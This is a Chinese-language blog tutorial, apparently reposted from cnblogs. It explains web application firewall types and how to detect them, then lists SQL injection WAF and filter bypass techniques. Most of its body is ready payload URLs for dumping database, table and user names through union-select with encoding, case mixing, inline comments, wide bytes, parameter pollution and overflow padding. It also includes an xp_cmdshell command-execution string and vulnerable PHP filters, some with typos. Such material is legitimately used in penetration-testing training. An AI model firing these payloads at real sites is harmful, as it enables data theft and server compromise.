WAF介绍
一、WAF介绍
WAF(Web Application Firewall,Web应用防火墙)及与其相关的知识,这里利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为web应用提供保护的一款产品。
WAF基本上可以分为以下几类:
1.1 软件型WAF
以软件形式装在所保护的服务器上,直接检测服务器上是否存在webshell,是否有文件被创建等
1.2 硬件型WAF
在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。
1.3 云WAF
一般以反向代理形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。
1.4 网站系统内置的WAF
网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况:
A:输入参数强制类型转换(intval等)
B:输入参数合法性检测
C:关键函数执行(sql执行、页面执行、命令执行等)前,对经过代码流程的输入进行检测
D:对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)
注:网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。
二、WAF的常见功能
2.1 WAF的常见功能
总体来说,WAF(Web Application Firewall)的具有以下四个方面的功能:
- 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话
- 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式
- 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。
- WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。
2.2 WAF的常见特点
异常检测协议:拒绝不符合HTTP标准的请求
增强的输入验证:代理和服务端的验证,而不只是限于客户端验证
白名单&黑名单:白名单适用于稳定的We应用,黑名单适合处理已知问题
基于规则和基于异常的保护:基于规则更多的依赖黑名单机制,基于异常更为灵活
状态管理:重点进行会话保护
另还有:Cookies保护、抗入侵规避技术、响应监视和信息泄露保护、页面防篡改等
2.3 WAF怎么识别扫描器
如果是对于扫描器,WAF有其识别之道:
扫描器识别主要由以下几点:
1)扫描器指纹(head字段/请求参数值),以wvs为例,会有很明显的Acunetix在内的标识
2)单IP+ cookie某时间段内触发规则次数
3)隐藏的链接标签等(<a>)
4)Cookie植入
5)验证码验证,扫描器无法自动填充验证码
6)单IP请求时间段内Webserver返回http状态404比例,?扫描器探测敏感目录基于字典,找不到文件则返回404
参考文档:https://blog.csdn.net/2301_81250923/article/details/134707249
三、注入过程中怎么判断存在WAF
3.1 sqlmap
使用SQLMAP中自带的WAF识别模块可以识别处WAF的种类,但是如果所安装的WAF并没有什么特征,SQLMAP就只能识别出类型是Generic。
Sqlmap -u “xxxx.com” --identify-waf –batch
详细可以参考:
https://www.cnblogs.com/insane-Mr-Li/p/10150165.html
要想了解详细的识别规则可以查看SQLMAP的WAF目录下的相关脚本,也可以按照其格式自主添加新的WAF识别规则,写好规则文件后直接放到WAF目录下即可。
3.2 手工判断
直接在相应网站的URL后面加上基础的语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,触发WAF的防护,判断是否网站存在WAF。
因为这里选取了一个不存在的参数,所有实际并不会对网站系统的执行流程造成任何影响,此时如果被拦截则说明存在WAF。(被拦截的表现为(增加了无影响的测试语句后):页面无法访问,响应码不同、返回与正常请求网页时不同的结果等)
SQL注入绕过
应用程序开发人员为了防止出现 SQL注入漏洞,在进行程序 开发的过各中会通过关键字过滤的方式对常见的SQL注入的payload进行过滤,使用攻击者无法进行SQL注入。由于程序员的水平及经验参差不齐,相当大一部分程序员在编写的代码中存在过滤方式缺陷,攻击者就可以通过编码、大小写混写、等价函数特换等多种方式绕过SQL注入过滤。
一、空格过滤的绕过
根据应用程序的过滤规则,会将空格加入黑名单,但是空格存在多种绕过方式,常见的包括用/**/、制表位、换行符、括号、反引号来代替空格。
1.1 /**/绕过
Mysql数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句就可以正常运行。例如:
输入测试语句:http://127.0.0.1/sqli/Less-26/?id=-1'/**/union/**/select/**/1,2,(database())'
通过/**/绕过了空格的过滤,输出数据库的信息,如下图所示:
1.2 制表符绕过
在Mysql数据库中,可以用制表符来代替空格,将空格用制表符代替后,SQL语句就可以正常运行。制表符是不可见字符,在URL传输中需要编码,其URL编码为%09。例如:
1.3 换行符绕过
Mysql数据库支持换行执行SQL语句,可以利用换行符代替空格,换行符也是不可见字符,在URL传输中需要进行编码,其URL编码为%0a。例如:
1.4 括号绕过
在Mysql数据库中,任何查询中都可以使用括号嵌套SQL语句,可以利用括号绕过空格的过滤。例如:
1.5 `绕过
Mysql中的反引号是为了区分Mysql的保留字与普通字符而引入的符号,反引号可以代替空格,绕过空格过滤。例如:
二、内联注释绕过
MySQL会执行放在/! …/中的语句。/! 50010…/也可以执行位于其中的SQL语句,其中,50010表示5.00.10,为MySQL版本号。当MySQL数据库的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码。可以利用MySQL的这个特性绕过特殊字符过滤。例如:
当前MySQL数据库的版本是5.5.53,使用此版本的数据库进行验证测试。
- 当内联注释中的版本设置为50553时,与当前MySQL数据库版本相同,会正常执行内联注释中的SQL语句。例如:
- 内联注释中的版本设置为50550时,小于当前MySQL数据库版本,会正常执行内联注释中的SQL语句。例如:
(3)内联注释中的版本设置为50557时,大于当前MySQL数据库版本,会报错。例如:
三、大小写绕过
根据应用程序的过滤规则,通常会针对恶意关键字设置黑名单,如果存在恶意关键字,应用程序就会退出运行。但是在过滤规则中可能存在过滤不完整或者只过滤小写或者大写的情况,没有针对大小写组合进行过滤,导致可以通过大小写混写payload的方式来绕过关键字过滤。
if (preg match('/select/',$_GET ["id"])){
die("ERROR");
}else{
$id=$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query ($sql);
}
在以上代码中,通过preg_match函数对GET型id参数进行了过滤,如果存在select关键字,应用程序会结束运行,并且输出ERROR。但是preg_match函数并没有对select大小写的各种情况进行判断,导致攻击者可以通过大小写混写select关键字的方式来绕过过滤。
测试语句:http://ip/index.php?id=1 and 1=2 union seLeCt 1,2,database ()
双写关键字绕过
if(isset($_GET['id'])){
$id=preg_replace('/select/i','',$_GET["id"]);
$sq1="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($aql);
}
在上面的代码中,利用preg_replace函数对GET型id参数进行了过滤,如果存在select关键字,会将select关键字替换为空,并且继续执行。但是preg_replace函数并没有进行多次判断,导致可以通过双写关键字的方式绕过过滤。
测试语句: http://ip/index.php?id=1 and 1=2 union seselectlect 1,2,database()
因为seselectlect关键字在preg_replace函数中过滤时,其中的select字符串被替换为空,剩余的字符串是select,绕过了过滤规则。双写方法如:aandd , oorr , ununionion等
编码绕过
选择数据库可以读取的编码进行替换读取。
5.1 漏洞示例代码
if(preg_match('/select/i',$_GET["id"])){
die("ERROR");
}else{
$id=$_GET['id'];
$sq1="SELECT FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
在以上代码中,通过preg_match函数对GET型id参数进行了过滤,并且对大小写的情况进行了判断,如果存在select关键词,应用程序会结束运行,并且输出ERROR。对于这种过滤,只能通过关键字变换的方式来绕过。
5.2 双重URL编码绕过
http://ip/index.php?id=1 and 1=2 union ses%256cect 1,2,database()
通过将select进行双重编码绕过了select关键字过滤。
5.3十六进制编码绕过
MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换。如果PHP配置中开启了GPC,GPC会自动对单引号进行转义,这样注人就无法正常使用。但是,如果将注入的数据转换为十六进制,就不需要单引号,可以正常注入。
--->【dvwa-medium-sql】
http://ip/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_gchema=0x6374667377696b69
5.4 Unicode编码绕过
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了。
看一下常用的几个符号的一些Unicode编码:
单引号:?? %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=1%D6‘%20AND%201=2%23
SELECT '?'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用
第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过
另外平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去了解下。
常见的编码当然还有二进制、八进制,它们不一定都派得上用场。
IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动对Unicode字符进行转换。
--->SqlServer数据库
http://ip/index.asp?id=1 and 0 < (se$u006cect top 1 name from sec.dbo.sysobjects where xtype='U')
5.4 ASCII编码绕过
SQL Server数据库的char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况。
六、等价函数字符替换绕过
6.1 漏洞示例代码
if (preg_match('/=/',$_GET["id"]){
die ("ERROR");
}else{
$id=$_GET['id'];
$sql-"SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
在以上代码中,通过 preg_match函数对GET型id参数进行了过滤,如果存在=字符,应用程序会结束运行,并且输出ERROR,=可以用like或者in来代替,以绕过对=的过滤。
6.2 用like或in代替=
在MySQL数据库中,可以用like或者in代替=进行查询,可以利用此特性绕过对=的过滤,例如:
select * from user where username='userl';
select * from user where username like 'userl';
select * from user where username in('userl');
如:http://id/index.php?id=1 and 1 like 1
6.3 逗号过滤
可以用以下方法绕过逗号过滤:
select substr(database(),1,1);
select substr(database() from l for 1);
6.4 等价函数
6.4.1函数或变量
可以用以下等价函数代替来绕过过滤:
- sleep函数可以用benchmark函数代替
- ascii函数可以用hex, bin函数代替
- group_concat函数可以用concat_ws函数代替
- updatexml函数可以用extractvalue函数代替
- hex()、bin() ==> ascii()
- mid()、substr() ==> substring()
- @@user ==> user()
- @@datadir ==> datadir()
6.4.2 符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了。在看一下用得多的空格,可以使用如下符号表示其作用:%20、%09、%0a、%0b、%0c、%0d、%a0、/**/
6.4.3生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制。
七、逻辑符号替换
and --> &&
or --> ll
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号 and=&& or=||
八、宽字节绕过
前提:客户端使用gbk的编码模式
宽字节绕过(前提数据库的编码是gbk)。在gbk中,中文由两个字节组成,首字节对应81-EF(129-239),尾字节40-7E(64-126)。
利用函数转移特殊字符代替magic_quotes_gpc:addslashes()
利用条件:前端utf-8编码和数据库gbk编码不一致。
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
%df%5c构成一个汉字:縗。因为此时\已经和%df组成一个汉字消耗掉了。所以单引号成功闭合,也就是说:%df \'=%df%5c%27=縗',有了单引号就好注入了。
九、特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
使用反引号`:例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
神奇的"-+.":select+id-1+1.from users;“+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
@符号:select@^1.from users; @用于变量定义如@*var_name*,一个@表示用户定义,@@表示系统变量
Mysql function() as xxx 也可不用as和空格
select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
本人搜罗了部分可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
\>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
十、 http参数控制
HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制。
10.1 HPP(HTTP Parameter Polution)
举例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过
10.2 HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
10.3 HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
以魔术字符%为例,Asp/Asp.net会受到影响
十一、缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
举例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
十二、整合绕过
整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说是总体与局部和的关系,另一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都无法使用,否则它们能产生比自身大得多的能量。
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-5+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
Sqli labs绕过实验参考:https://blog.csdn.net/cyynid/article/details/128662381
标签:编码,WAF,过滤,SQL,绕过,id,select,注入 From: https://www.cnblogs.com/zdytom/p/18522946